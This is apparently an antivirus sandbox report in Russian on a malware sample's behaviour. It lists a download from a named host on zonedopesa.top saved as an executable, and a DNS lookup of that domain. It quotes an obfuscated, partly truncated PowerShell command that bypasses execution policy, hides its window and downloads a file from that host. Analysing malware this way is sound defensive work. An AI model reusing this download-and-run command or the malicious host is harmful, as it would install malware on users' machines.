Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "po^WEr^shELl^.^exe ^-^E^X^EcUt^i^oN^po^LICy^ ^bypA^Ss -nOPR^ofile^ ^-^wIn^DOwst^YlE Hi^d^DeN ^(^NE^w-oBJ^E^cT sYSt^em.nET.^we^bCL^ieN^t)^.^doWNLo^ad^Fi^l^E^('http://www.zone...
Сетевая активность
UDP
- DNS ASK zo###opesa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "po^WEr^shELl^.^exe ^-^E^X^EcUt^i^oN^po^LICy^ ^bypA^Ss -nOPR^ofile^ ^-^wIn^DOwst^YlE Hi^d^DeN ^(^NE^w-oBJ^E^cT sYSt^em.nET.^we^bCL^ieN^t)^.^doWNLo^ad^Fi^l^E^('http://www.zone...' (со скрытым окном)
